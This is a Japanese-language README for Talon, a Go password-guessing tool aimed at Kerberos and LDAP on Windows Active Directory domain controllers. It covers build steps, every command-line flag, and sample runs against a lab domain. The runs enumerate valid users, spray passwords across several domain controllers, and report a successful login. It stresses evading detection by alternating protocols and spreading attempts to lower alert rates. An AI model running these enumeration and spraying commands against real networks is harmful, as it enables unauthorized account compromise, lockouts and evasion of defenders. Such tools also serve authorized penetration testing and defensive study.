optiv/talonWindows Active Directory環境内のKerberosおよびLDAPサービスを標的とするパスワード推測ツール。
最新バージョンのTalonを表示したり、問題を報告するには、https://github.com/Tylous/Talon を参照してください。
Talonは、検出されることなく自動パスワード推測攻撃を実行するために設計されたツールです。Talonは、Kerberosを使用してユーザーリストを列挙し、どのユーザーが有効かを特定できます。また、KerberosおよびLDAPS（LDAP Secure）サービスに対してパスワード推測攻撃を実行することもできます。Talonは、単一のドメインコントローラーまたは複数のドメインコントローラーを使用してこれらの攻撃を実行し、試行ごとにドメインコントローラーとサービス（LDAPまたはKerberos）の間でランダム化することができます。
この手法の詳細については、次のブログをご覧ください。
リリースからお使いのOS用のリリースをダウンロードしてください。
Talonはgolangで開発されています。
最初のステップは、いつものようにリポジトリをクローンすることです。Talonをコンパイルする前に、依存関係をインストールする必要があります。インストールするには、以下のコマンドを実行します。
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
次にビルドします。
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
ユーザー列挙モードは、-Eフラグを使用して実行できます。このフラグは、対象のKDCにKerberos TGT事前認証リクエストのみを送信しますが、このリクエストは既知の不正な暗号化タイプまたはサポートされていない暗号化タイプで送信されます。TalonはKDCからの応答を確認し、KDC_ERR_ETYPE_NOSUPPで応答するかどうかを判断します。これはユーザーが存在することを示し、KDC_ERR_C_PRINCIPAL_UNKNOWNの場合は存在しないことを示します。Talonは、-Hostfileコマンドを使用して複数のドメインコントローラーを指定するか、-Hを使用して単一のドメインコントローラーを指定することで、エンタープライズ内の複数のドメインコントローラーに対してこのタイプの列挙を実行できます。この手法を使用してもログイン失敗は発生しないため、ユーザーがロックアウトされることはありません。
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talonは、Active Directoryに統合されたKerberosとLDAPの両方を活用します。Talonは、2つのサービスを交互に使用することでパスワード推測を実行し、パスワード攻撃トラフィックを2つのプロトコルに分割できます。これにより、生成される可能性のあるイベント数が分割され、その結果、アラートの可能性が低減します。Talonはさらに一歩進んで、-Hostfileを使用してエンタープライズ内の複数のドメインコントローラーに対してパスワード攻撃を分散し、毎回LDAPとKerberosを交互に使用して、さらに別の隠蔽層を追加します。必要に応じて、-Hコマンドで単一のドメインコントローラーを指定することもできます。
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talonは、あらゆる状況に対応できるよう汎用性を持って設計されています。そのため、Kerberosのみが利用可能な場合は、-Kフラグを使用してKerberosに対してのみ攻撃するよう設定でき、LDAPのみの場合は-Lフラグを使用できます。
Talonは、パスワード推測攻撃を実行する際に、KerberosとLDAPの両方を使用して応答を読み取ることができます。Talonは、各パスワード試行の応答コードを読み取ることで、アクティブなパスワード推測攻撃中にアカウントロックアウトを検出できます。これにより、エンタープライズ全体での不要なアカウントロックを防ぎ、検出されない状態を維持するのに役立ちます。攻撃を停止するか続行するかのプロンプトに従うだけです。
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talonには、対象のドメインコントローラーがアクティブであるか、または利用できなくなったかを検出する機能が備わっています。これにより、時間を無駄にせず、正確な結果を得ることができます。
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talonには、ファイル内のパスワードリストに対してパスワード推測を実行する機能があります（-Passfile）。これは非常に危険な可能性があるため、Talonには指定された試行回数（-A）の後に指定された時間（-Lockout）一時停止する制御機能が備わっています。注意：パスワードポリシーを把握していない状態でこれらのオプションを使用すると、複数のパスワード試行がキューイングされ、アカウントがロックアウトされる可能性があるため、使用前にパスワードポリシーを確認することが重要です。
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35